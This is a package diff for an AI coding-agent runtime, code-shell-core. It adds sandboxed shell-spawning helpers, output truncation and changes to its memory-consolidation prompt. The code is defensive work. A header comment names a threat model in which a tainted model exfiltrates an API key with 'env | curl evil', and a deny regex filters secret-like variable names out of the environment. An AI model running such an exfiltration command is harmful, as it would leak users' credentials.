@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.10

package/dist/runtime/spawn-common.js

@@ -0,0 +1,404 @@
+/**
+ * spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
+ * and background (BackgroundShellManager) shell execution.
+ *
+ * Both paths must agree on three things or their security/behavior drifts:
+ *
+ *   1. How a free-form shell command is turned into an actual (file, args)
+ *      under the active sandbox backend ({@link resolveSpawnTarget}).
+ *   2. Which environment variables are forwarded into a sandboxed shell
+ *      ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
+ *      model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
+ *      `env | curl evil`).
+ *   3. How a process is terminated — SIGTERM → grace → SIGKILL. The
+ *      background path needs this at *process-group* granularity
+ *      ({@link killProcessGroup}) because `npm run dev` is really
+ *      `sh → npm → node vite` and killing only the outer `sh` leaks the
+ *      vite child that holds the port (design §难点2).
+ *
+ * safeSpawnShell keeps its own single-process kill cascade (it does not
+ * spawn detached, so there's no separate process group to reap); it shares
+ * (1) and (2) here. The background manager uses all three.
+ */
+import { spawn, execFileSync } from "node:child_process";
+import { existsSync } from "node:fs";
+import { dirname, join } from "node:path";
+/**
+ * Env vars that are always safe to forward into a sandboxed shell. Mirrors
+ * the allowlist that previously lived in bash.ts — kept here so foreground
+ * and background shells share one source of truth. The `off` backend keeps
+ * the historical full-passthrough behavior (the user opted out of sandboxing)
+ * and does NOT call this.
+ */
+export const ENV_ALLOWLIST = new Set([
+    "PATH",
+    "HOME",
+    "USER",
+    "LOGNAME",
+    "SHELL",
+    "LANG",
+    "LC_ALL",
+    "LC_CTYPE",
+    "TERM",
+    "TMPDIR",
+    "TZ",
+    "COLUMNS",
+    "LINES",
+    "PWD",
+]);
+/**
+ * Names matching these patterns are dropped even if they appear in the
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
+ * leak just because it starts with `PATH`). Case-insensitive on the full name.
+ */
+export const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
+/**
+ * Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
+ * `source` defaults to `process.env` so callers usually omit it; tests pass
+ * a fixed object.
+ */
+export function buildSandboxEnv(source = process.env) {
+    const out = {};
+    for (const name of ENV_ALLOWLIST) {
+        const v = source[name];
+        if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
+            out[name] = v;
+        }
+    }
+    return out;
+}
+/**
+ * Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
+ * explicitly configured in `.code-shell/settings.json`) on top of a base
+ * shell env.
+ *
+ * Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
+ * the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
+ * a project-scoped `API_BASE`), so honoring them is the whole point. The
+ * allowlist/deny machinery exists to stop a tainted model from exfiltrating
+ * the *host's* secrets via `env | curl`; values the user typed into project
+ * settings are a different trust class.
+ *
+ * Returns the base unchanged when `projectEnv` is empty/undefined, so the
+ * caller can pass it through unconditionally with zero behavior change for
+ * projects that don't configure one. `undefined` values in `projectEnv` are
+ * skipped (they'd otherwise stringify to "undefined").
+ */
+export function mergeShellEnv(base, projectEnv) {
+    if (!projectEnv)
+        return base;
+    const keys = Object.keys(projectEnv);
+    if (keys.length === 0)
+        return base;
+    const out = { ...base };
+    for (const k of keys) {
+        const v = projectEnv[k];
+        if (v !== undefined)
+            out[k] = v;
+    }
+    return out;
+}
+/**
+ * Resolve the shell binary + the (file, args) needed to run a free-form
+ * `command` string through it, per platform. Centralizes the POSIX-vs-Windows
+ * shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
+ * in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
+ *
+ *   - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
+ *   - Windows: `<explicit shell ?? Git Bash ?? PowerShell ?? ComSpec ?? cmd.exe>` with the
+ *     shell-appropriate flag: Git Bash/POSIX shells use `-c`, PowerShell uses
+ *     `-Command`, and cmd.exe uses `/c` (`-c` would be taken as a filename and
+ *     fail/hang). Git Bash is preferred because the Bash tool receives POSIX
+ *     syntax from the model.
+ *
+ * `$SHELL` is ignored on Windows — it is virtually never set there, and when
+ * it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
+ * doesn't exist on the host. An explicit `shell` overrides everything (a user
+ * who configured `pwsh`/`bash` knows what they want).
+ */
+export function resolveShellInvocation(command, shell) {
+    if (process.platform === "win32") {
+        const file = shell ?? defaultShellBinary();
+        // Flag form depends on the shell: PowerShell → -Command; a POSIX shell such
+        // as Git Bash's bash.exe / sh → -c (it does NOT understand cmd's /c); cmd.exe
+        // (and cmd-like) → /c. Detecting bash/sh matters now that defaultShellBinary
+        // prefers Git Bash on Windows — feeding it /c would break every command.
+        const isPwsh = /(^|[\\/])(pwsh|powershell)(\.exe)?$/i.test(file);
+        if (isPwsh)
+            return { file, args: ["-Command", command] };
+        const isPosixShell = /(^|[\\/])(bash|sh|zsh|dash)(\.exe)?$/i.test(file);
+        return { file, args: [isPosixShell ? "-c" : "/c", command] };
+    }
+    const file = shell ?? process.env.SHELL ?? "/bin/bash";
+    return { file, args: ["-c", command] };
+}
+/**
+ * Best-effort locate Git Bash's `bash.exe` on Windows. Returns undefined on
+ * non-Windows, when git isn't installed, or when no bash.exe is found.
+ *
+ * WHY: The Bash tool and background shells feed the model's *bash* commands
+ * (`ls`, `&&`, `$(…)`, pipes, quoting) to the shell. On Windows the historical
+ * default is `cmd.exe`, which can't run any of that — so "Bash" was effectively
+ * broken on Windows. Git for Windows (which most devs already have — we detect
+ * it for repo ops anyway) ships a full bash at `<git>\bin\bash.exe`, so prefer
+ * it. Falls back to PowerShell before cmd.exe when Git Bash truly isn't present.
+ *
+ * Resolution order:
+ *   1. CODE_SHELL_GIT_BASH_PATH env override (explicit user config wins).
+ *   2. Reverse-engineer from the git binary's location: `where git` gives e.g.
+ *      `C:\Program Files\Git\cmd\git.exe` → `…\Git\bin\bash.exe`.
+ *   3. The two default install locations (Program Files / Program Files (x86)).
+ * Cached after first probe (a spawn per command would be wasteful).
+ */
+let gitBashCache;
+export function resolveGitBash() {
+    if (process.platform !== "win32")
+        return undefined;
+    if (gitBashCache !== undefined)
+        return gitBashCache ?? undefined;
+    const override = process.env.CODE_SHELL_GIT_BASH_PATH;
+    if (override && existsSync(override))
+        return (gitBashCache = override);
+    const candidates = [];
+    // (2) derive from `where git`. Git installs git.exe under either \cmd\ or
+    // \bin\; bash.exe lives under the sibling \bin\. Walk up to the Git root.
+    try {
+        const out = execFileSync("where", ["git"], { encoding: "utf-8", timeout: 3000 });
+        const gitExe = out.split(/\r?\n/).find((l) => l.trim().toLowerCase().endsWith("git.exe"));
+        if (gitExe) {
+            const gitRoot = dirname(dirname(gitExe.trim())); // …\Git\cmd\git.exe → …\Git
+            candidates.push(join(gitRoot, "bin", "bash.exe"));
+        }
+    }
+    catch {
+        // git not on PATH — fall through to the well-known locations.
+    }
+    // (3) default install locations.
+    const pf = process.env["ProgramFiles"] ?? "C:\\Program Files";
+    const pf86 = process.env["ProgramFiles(x86)"] ?? "C:\\Program Files (x86)";
+    candidates.push(join(pf, "Git", "bin", "bash.exe"));
+    candidates.push(join(pf86, "Git", "bin", "bash.exe"));
+    const found = candidates.find((p) => existsSync(p));
+    return (gitBashCache = found ?? null) ?? undefined;
+}
+/** Reset the Git Bash probe cache. Test-only (platform is stubbed per test). */
+export function _resetGitBashCache() {
+    gitBashCache = undefined;
+}
+let powerShellCache;
+export function resolvePowerShell() {
+    if (process.platform !== "win32")
+        return undefined;
+    if (powerShellCache !== undefined)
+        return powerShellCache ?? undefined;
+    const override = process.env.CODE_SHELL_POWERSHELL_PATH;
+    if (override && existsSync(override))
+        return (powerShellCache = override);
+    const candidates = [];
+    for (const exe of ["pwsh", "powershell"]) {
+        try {
+            const out = execFileSync("where", [exe], { encoding: "utf-8", timeout: 3000 });
+            const found = out.split(/\r?\n/).find((l) => l.trim().toLowerCase().endsWith(`${exe}.exe`));
+            if (found)
+                candidates.push(found.trim());
+        }
+        catch {
+            // Not on PATH; try the next shell / well-known locations.
+        }
+    }
+    const pf = process.env["ProgramFiles"] ?? "C:\\Program Files";
+    const systemRoot = process.env.SystemRoot ?? "C:\\Windows";
+    candidates.push(join(pf, "PowerShell", "7", "pwsh.exe"));
+    candidates.push(join(systemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe"));
+    const found = candidates.find((p) => existsSync(p));
+    return (powerShellCache = found ?? null) ?? undefined;
+}
+/** Reset the PowerShell probe cache. Test-only (platform is stubbed per test). */
+export function _resetPowerShellCache() {
+    powerShellCache = undefined;
+}
+/** The platform's default interactive shell binary, for spawning a bare shell
+ *  (no `-c`/`/c` command). Windows → Git Bash if present, else PowerShell,
+ *  else ComSpec/cmd.exe;
+ *  POSIX → $SHELL/bin/bash. Windows prefers Git Bash so the model's bash-syntax
+ *  commands actually run (cmd.exe can't). */
+export function defaultShellBinary(shell) {
+    if (shell)
+        return shell;
+    if (process.platform === "win32") {
+        return resolveGitBash() ?? resolvePowerShell() ?? process.env.ComSpec ?? "cmd.exe";
+    }
+    return process.env.SHELL ?? "/bin/bash";
+}
+/**
+ * Resolve the actual (file, args) for a shell `command` under an optional
+ * sandbox. With a sandbox, the backend decides (e.g. seatbelt →
+ * `sandbox-exec -f profile shell -c command`). Without one, plain
+ * `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
+ * lifted so the background path produces an identical target.
+ */
+export function resolveSpawnTarget(command, opts) {
+    if (opts.sandbox) {
+        const wrapped = opts.sandbox.wrap(command, { cwd: opts.cwd, shell: opts.shell });
+        return { file: wrapped.file, args: wrapped.args, cleanup: wrapped.cleanup };
+    }
+    // No sandbox configured: pick the shell + command-flag form for the
+    // platform instead of assuming POSIX `-c`. Note Bash always passes a
+    // backend (off at minimum), so it never reaches this line — the off
+    // backend's wrap() delegates to resolveShellInvocation itself.
+    return resolveShellInvocation(command, opts.shell);
+}
+/**
+ * Terminate a single (non-detached) foreground child + its tree.
+ *
+ *  - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
+ *    (The child is the process-group leader of its own subtree only if it was
+ *    spawned with its own group; safe-spawn's foreground children are not, so
+ *    this kills the direct child — matching the historical behavior.)
+ *  - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
+ *    child anyway, leaving grandchildren (e.g. `npm test → node`). Use
+ *    `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
+ *
+ * Best-effort: never throws; a child that already exited is fine.
+ */
+export function killChildTree(child, graceMs) {
+    if (process.platform === "win32") {
+        if (typeof child.pid === "number")
+            void killProcessTreeWindows(child.pid);
+        else
+            try {
+                child.kill("SIGKILL");
+            }
+            catch { /* gone */ }
+        return;
+    }
+    try {
+        child.kill("SIGTERM");
+    }
+    catch { /* may already be dead */ }
+    setTimeout(() => {
+        try {
+            child.kill("SIGKILL");
+        }
+        catch { /* ignore */ }
+    }, graceMs).unref();
+}
+const DEFAULT_GROUP_GRACE_MS = 3000;
+/**
+ * Terminate an entire process group, SIGTERM → grace → SIGKILL.
+ *
+ * Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
+ * which requires the leader to have been spawned `detached: true` so its pid
+ * is its own pgid. This is the background path's answer to design §难点2:
+ * `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
+ * one group-level signal reaps the vite child that actually holds the port.
+ *
+ * Resolves once the group is confirmed gone (or the grace SIGKILL has been
+ * sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
+ * without throwing.
+ *
+ * @param pgid  The process-group id == the detached leader's pid.
+ */
+export function killProcessGroup(pgid, opts = {}) {
+    // Safety: a pgid of 0/1 (or non-integer) must NEVER reach process.kill —
+    // `process.kill(-0)` targets the caller's OWN group and `process.kill(-1)`
+    // signals EVERY process the user can reach (catastrophic self-kill). Live
+    // pgids are real detached-child pids (>1), but pgid is also persisted in
+    // orphan records and read back from disk, so a corrupt/tampered record could
+    // surface 0/1 here. Refuse rather than fire a group signal at a bogus target.
+    if (!Number.isInteger(pgid) || pgid <= 1) {
+        return Promise.resolve();
+    }
+    // Windows has no process groups and no real SIGTERM. The detached leader is
+    // NOT spawned detached on win (see background-shell), so `pgid` is just the
+    // leader pid. Reap the whole tree with `taskkill /PID <pid> /T /F` — /T walks
+    // children (npm → node → vite), /F forces. This is the win32 equivalent of
+    // the negative-pid SIGKILL below; there's no graceful phase on Windows.
+    if (process.platform === "win32") {
+        return killProcessTreeWindows(pgid);
+    }
+    const grace = opts.graceMs ?? DEFAULT_GROUP_GRACE_MS;
+    return new Promise((resolve) => {
+        if (!groupAlive(pgid)) {
+            resolve();
+            return;
+        }
+        try {
+            process.kill(-pgid, "SIGTERM");
+        }
+        catch {
+            // Already gone, or not permitted — fall through to the grace check.
+        }
+        const start = Date.now();
+        // Poll for graceful exit so we can resolve early (and skip SIGKILL) when
+        // the group honors SIGTERM. Cheap: a `kill(-pgid, 0)` probe every 50ms.
+        const tick = () => {
+            if (!groupAlive(pgid)) {
+                resolve();
+                return;
+            }
+            if (Date.now() - start >= grace) {
+                try {
+                    process.kill(-pgid, "SIGKILL");
+                }
+                catch {
+                    // Race: exited between the probe and here. Fine.
+                }
+                // Give the OS a beat to tear the group down before resolving so
+                // callers that immediately probe see ESRCH.
+                setTimeout(resolve, 50);
+                return;
+            }
+            setTimeout(tick, 50);
+        };
+        setTimeout(tick, 50);
+    });
+}
+/**
+ * True if any process in the group `pgid` is still alive. Signal 0 performs
+ * existence/permission checks without delivering a signal; ESRCH means the
+ * whole group is gone.
+ *
+ * Windows has no process groups: probe the leader pid directly (positive,
+ * Node supports signal 0 on Windows for an existence check). Children may
+ * outlive the leader, but `taskkill /T` already reaps the tree, so a
+ * leader-alive probe is the right gate for the win32 kill path.
+ */
+export function groupAlive(pgid) {
+    // Same 0/1 guard as killProcessGroup: `process.kill(-0, 0)` probes the
+    // caller's own group (a false "alive"), and -1 is the all-processes target.
+    // A bogus pgid means "no such group" → not alive.
+    if (!Number.isInteger(pgid) || pgid <= 1)
+        return false;
+    const target = process.platform === "win32" ? pgid : -pgid;
+    try {
+        process.kill(target, 0);
+        return true;
+    }
+    catch (e) {
+        return e.code !== "ESRCH";
+    }
+}
+/**
+ * Windows process-tree kill via `taskkill /PID <pid> /T /F`. Resolves when
+ * taskkill exits (or immediately if the pid is already gone). Best-effort:
+ * a non-zero exit (e.g. "process not found", code 128) is treated as success
+ * since the goal — the tree being gone — is met.
+ */
+function killProcessTreeWindows(pid) {
+    return new Promise((resolve) => {
+        let child;
+        try {
+            child = spawn("taskkill", ["/PID", String(pid), "/T", "/F"], {
+                stdio: "ignore",
+                windowsHide: true,
+            });
+        }
+        catch {
+            resolve();
+            return;
+        }
+        child.on("error", () => resolve());
+        child.on("exit", () => resolve());
+    });
+}

package/dist/runtime/truncate-output.d.ts

@@ -0,0 +1,22 @@
+/**
+ * Head+tail truncation for long command output (TODO 2.11 — shell snapshot).
+ *
+ * The naive "keep first N chars, drop the rest" loses the END of the output —
+ * which for a failing command is usually the most important part (the error,
+ * the stack tail, the final summary line). Instead, when output exceeds `cap`,
+ * keep a head slice AND a tail slice with a clear marker noting how much was
+ * dropped in the middle. Pure + testable.
+ */
+export interface TruncateOptions {
+    /** Max total chars to keep before truncating (head + tail combined budget). */
+    cap: number;
+    /** Fraction of the kept budget given to the head (rest goes to the tail). Default 0.5. */
+    headRatio?: number;
+}
+/**
+ * Keep the head and tail of `text` when it's longer than `cap`, joined by a
+ * marker that states how many chars were omitted. Returns the input unchanged
+ * when it fits. Slices on line boundaries when possible so a cut doesn't land
+ * mid-line (falls back to a hard char cut for a single huge line).
+ */
+export declare function truncateHeadTail(text: string, opts: TruncateOptions): string;

package/dist/runtime/truncate-output.js

@@ -0,0 +1,49 @@
+/**
+ * Head+tail truncation for long command output (TODO 2.11 — shell snapshot).
+ *
+ * The naive "keep first N chars, drop the rest" loses the END of the output —
+ * which for a failing command is usually the most important part (the error,
+ * the stack tail, the final summary line). Instead, when output exceeds `cap`,
+ * keep a head slice AND a tail slice with a clear marker noting how much was
+ * dropped in the middle. Pure + testable.
+ */
+/**
+ * Keep the head and tail of `text` when it's longer than `cap`, joined by a
+ * marker that states how many chars were omitted. Returns the input unchanged
+ * when it fits. Slices on line boundaries when possible so a cut doesn't land
+ * mid-line (falls back to a hard char cut for a single huge line).
+ */
+export function truncateHeadTail(text, opts) {
+    const { cap } = opts;
+    if (cap <= 0 || text.length <= cap)
+        return text;
+    const headRatio = opts.headRatio ?? 0.5;
+    const headBudget = Math.max(0, Math.floor(cap * headRatio));
+    const tailBudget = Math.max(0, cap - headBudget);
+    const head = sliceHead(text, headBudget);
+    const tail = sliceTail(text, tailBudget);
+    const omitted = text.length - head.length - tail.length;
+    if (omitted <= 0)
+        return text; // ratios collapsed to no real cut
+    return (head +
+        `\n\n… [${omitted} chars omitted — showing first ${head.length} + last ${tail.length}] …\n\n` +
+        tail);
+}
+/** Take up to `budget` chars from the start, preferring a line boundary. */
+function sliceHead(text, budget) {
+    if (budget <= 0)
+        return "";
+    const raw = text.slice(0, budget);
+    const lastNl = raw.lastIndexOf("\n");
+    // Snap back to the last newline if it keeps at least ~60% of the budget,
+    // otherwise the line is huge — hard cut to avoid throwing away most of it.
+    return lastNl > budget * 0.6 ? raw.slice(0, lastNl) : raw;
+}
+/** Take up to `budget` chars from the end, preferring a line boundary. */
+function sliceTail(text, budget) {
+    if (budget <= 0)
+        return "";
+    const raw = text.slice(text.length - budget);
+    const firstNl = raw.indexOf("\n");
+    return firstNl >= 0 && firstNl < budget * 0.4 ? raw.slice(firstNl + 1) : raw;
+}

package/dist/runtime/utf8-cut.d.ts

@@ -0,0 +1,11 @@
+/**
+ * Largest cut length ≤ `maxBytes` that does not split a multibyte UTF-8
+ * character in `buf`. Used to paginate a large output burst without emitting a
+ * `�` replacement char (and to keep the consumed-bytes cursor on a boundary so
+ * the next read resumes cleanly).
+ *
+ * UTF-8: a continuation byte is 0b10xxxxxx (0x80–0xBF); a lead byte starts a
+ * new character. If the byte at `maxBytes` is a continuation byte, we're mid
+ * -character, so walk back to the last lead byte and cut there.
+ */
+export declare function utf8SafeCutLength(buf: Buffer, maxBytes: number): number;

package/dist/runtime/utf8-cut.js

@@ -0,0 +1,23 @@
+/**
+ * Largest cut length ≤ `maxBytes` that does not split a multibyte UTF-8
+ * character in `buf`. Used to paginate a large output burst without emitting a
+ * `�` replacement char (and to keep the consumed-bytes cursor on a boundary so
+ * the next read resumes cleanly).
+ *
+ * UTF-8: a continuation byte is 0b10xxxxxx (0x80–0xBF); a lead byte starts a
+ * new character. If the byte at `maxBytes` is a continuation byte, we're mid
+ * -character, so walk back to the last lead byte and cut there.
+ */
+export function utf8SafeCutLength(buf, maxBytes) {
+    if (maxBytes >= buf.length)
+        return buf.length;
+    if (maxBytes <= 0)
+        return 0;
+    let cut = maxBytes;
+    // Back off while the byte at the cut position is a UTF-8 continuation byte
+    // (0x80–0xBF) — that means the char starting before `cut` isn't complete yet.
+    while (cut > 0 && (buf[cut] & 0xc0) === 0x80) {
+        cut--;
+    }
+    return cut;
+}

package/dist/services/auto-dream.d.ts

@@ -46,4 +46,8 @@ export declare function buildDreamUserPrompt(userMemories: Array<{
     name: string;
     type: string;
     description: string;
+}>, globalMemories?: Array<{
+    name: string;
+    type: string;
+    description: string;
 }>): string;

package/dist/services/auto-dream.js

@@ -6,14 +6,17 @@
  */
 import { existsSync, readFileSync, writeFileSync, mkdirSync } from "node:fs";
 import { join } from "node:path";
-import { homedir } from "node:os";
+import { resolveMemoryBaseDir } from "../session/memory.js";
 const DEFAULT_CONFIG = {
     minSessionsBetween: 5,
     minTimeBetween: 24 * 60 * 60 * 1000, // 24 hours
     enabled: true,
 };
+// Co-locate the dream-cadence state with the memories it tracks: both resolve
+// through resolveMemoryBaseDir (CODE_SHELL_HOME ?? $HOME ?? homedir()), so a
+// relocated/test HOME moves them together and never writes the real ~/.code-shell.
 function getStateFile() {
-    return join(homedir(), ".code-shell", "auto-dream-state.json");
+    return join(resolveMemoryBaseDir(), "auto-dream-state.json");
 }
 function loadState() {
     const stateFile = getStateFile();
@@ -27,7 +30,7 @@ function loadState() {
 }
 function saveState(state) {
     const stateFile = getStateFile();
-    mkdirSync(join(homedir(), ".code-shell"), { recursive: true });
+    mkdirSync(resolveMemoryBaseDir(), { recursive: true });
     writeFileSync(stateFile, JSON.stringify(state, null, 2), "utf-8");
 }
 /**
@@ -79,20 +82,23 @@ export function buildDreamSystemPrompt() {
         "",
         "Your job: clean up the `dream` scope by deduplicating, merging, removing stale, and improving descriptions.",
         "",
-        "Tools available:",
-        "- MemoryList({ scope }): list memories in a scope",
-        "- MemoryRead({ scope, name }): read full content of an entry",
-        "- MemorySave({ scope: 'dream', ... }): create or overwrite a dream entry (auto-approved)",
-        "- MemoryDelete({ scope: 'dream', name }): soft-delete a dream entry (auto-approved, recoverable from trash)",
+        "Tools available (each takes `location`: 'global' = cross-project store, 'project' = this repo; default project):",
+        "- MemoryList({ scope, location }): list memories in a scope/location",
+        "- MemoryRead({ scope, location, name }): read full content of an entry",
+        "- MemorySave({ scope: 'dream', location, ... }): create or overwrite a dream entry (auto-approved)",
+        "- MemoryDelete({ scope: 'dream', location, name }): soft-delete a dream entry (auto-approved, recoverable from trash)",
+        "",
+        "Consolidate BOTH the project dream scope AND the global dream scope (pass location accordingly). Global holds cross-project lessons; keep it deduped too.",
         "",
         "Rules — read carefully:",
-        "1. You may freely Save/Delete in the `dream` scope. These operations DO NOT prompt the user.",
+        "1. You may freely Save/Delete in the `dream` scope (any location). These operations DO NOT prompt the user.",
         "2. You may NOT Save/Delete in the `user` scope from this loop — those operations require interactive permission which is not available here. Treat user-scope entries as read-only context.",
         "3. If you find user-scope entries that look stale, surface them in your final summary text — don't try to delete them.",
         "4. Prefer fewer, higher-quality merged entries over many similar fragments.",
         "5. When an entry has versioned variants (e.g. `*-v1`, `*-v2`, `*-v3`), keep only the latest.",
         "6. Be conservative: if uncertain whether two entries are truly duplicates, leave them alone.",
-        "7. When you're done, stop calling tools and respond with a one-paragraph summary of what you changed.",
+        "7. Archive COMPLETED work: dream entries that only record a finished fix/task (\"已修\", \"已完成\", \"done\") and carry no reusable lesson should be deleted, or merged into one compact changelog-style entry — completed-state notes that only grow are the main source of clutter. Keep any durable lesson (root cause, pitfall, convention) by folding it into a topical entry first.",
+        "8. When you're done, stop calling tools and respond with a one-paragraph summary of what you changed.",
     ].join("\n");
 }
 /**
@@ -100,25 +106,19 @@ export function buildDreamSystemPrompt() {
  * (entries in both scopes, by name + description) without dumping every entry
  * body. The LLM uses MemoryRead to fetch bodies for entries it wants to act on.
  */
-export function buildDreamUserPrompt(userMemories, dreamMemories) {
+export function buildDreamUserPrompt(userMemories, dreamMemories, globalMemories = []) {
     const fmt = (m) => `  - [${m.type}] ${m.name}: ${m.description}`;
+    const listOrNone = (arr, noneMsg) => arr.length === 0 ? noneMsg : arr.map(fmt).join("\n");
     const sections = [];
-    sections.push(`User-scope memories (READ-ONLY context, ${userMemories.length} entries):`);
-    if (userMemories.length === 0) {
-        sections.push("  (none)");
-    }
-    else {
-        sections.push(userMemories.map(fmt).join("\n"));
-    }
+    sections.push(`Project user-scope memories (READ-ONLY context, ${userMemories.length} entries):`);
+    sections.push(listOrNone(userMemories, "  (none)"));
     sections.push("");
-    sections.push(`Dream-scope memories (YOUR WORKSPACE, ${dreamMemories.length} entries):`);
-    if (dreamMemories.length === 0) {
-        sections.push("  (none — you may consolidate from user-scope by re-saving curated entries into dream)");
-    }
-    else {
-        sections.push(dreamMemories.map(fmt).join("\n"));
-    }
+    sections.push(`Project dream-scope memories (YOUR WORKSPACE — location:'project', ${dreamMemories.length} entries):`);
+    sections.push(listOrNone(dreamMemories, "  (none — you may consolidate from user-scope by re-saving curated entries into dream)"));
+    sections.push("");
+    sections.push(`Global memories (cross-project — clean these too via location:'global', ${globalMemories.length} entries):`);
+    sections.push(listOrNone(globalMemories, "  (none)"));
     sections.push("");
-    sections.push("Begin consolidation. Use MemoryRead to inspect any entries whose names suggest duplication or staleness, then MemorySave/MemoryDelete in dream scope to clean up.");
+    sections.push("Begin consolidation. Use MemoryRead to inspect any entries whose names suggest duplication or staleness, then MemorySave/MemoryDelete (with the right location) to clean up.");
     return sections.join("\n");
 }

package/dist/services/diagnostics.d.ts

@@ -12,9 +12,8 @@ export interface DiagnosticEntry {
     stack?: string;
 }
 declare class DiagnosticsTracker {
-    private logDir;
     private entries;
-    constructor();
+    private logDir;
     /**
      * Record a diagnostic event.
      */

package/dist/services/diagnostics.js

@@ -5,12 +5,16 @@
  */
 import { appendFileSync, mkdirSync, existsSync } from "node:fs";
 import { join } from "node:path";
-import { homedir } from "node:os";
+import { userHome } from "../settings/manager.js";
 class DiagnosticsTracker {
-    logDir;
     entries = [];
-    constructor() {
-        this.logDir = join(homedir(), ".code-shell", "diagnostics");
+    // Resolve per-write (NOT cached in the constructor): the module exports a
+    // singleton constructed at import, so a constructor-captured dir would freeze
+    // to import-time HOME. userHome() (not raw homedir(), bun-cached) reads $HOME
+    // live, so a relocated/test HOME redirects writes instead of hitting real
+    // ~/.code-shell.
+    logDir() {
+        return join(userHome(), ".code-shell", "diagnostics");
     }
     /**
      * Record a diagnostic event.
@@ -84,11 +88,12 @@ class DiagnosticsTracker {
     }
     persist(entry) {
         try {
-            if (!existsSync(this.logDir)) {
-                mkdirSync(this.logDir, { recursive: true });
+            const logDir = this.logDir();
+            if (!existsSync(logDir)) {
+                mkdirSync(logDir, { recursive: true });
             }
             const dateStr = entry.timestamp.split("T")[0];
-            const logFile = join(this.logDir, `${dateStr}.jsonl`);
+            const logFile = join(logDir, `${dateStr}.jsonl`);
             appendFileSync(logFile, JSON.stringify(entry) + "\n", "utf-8");
         }
         catch {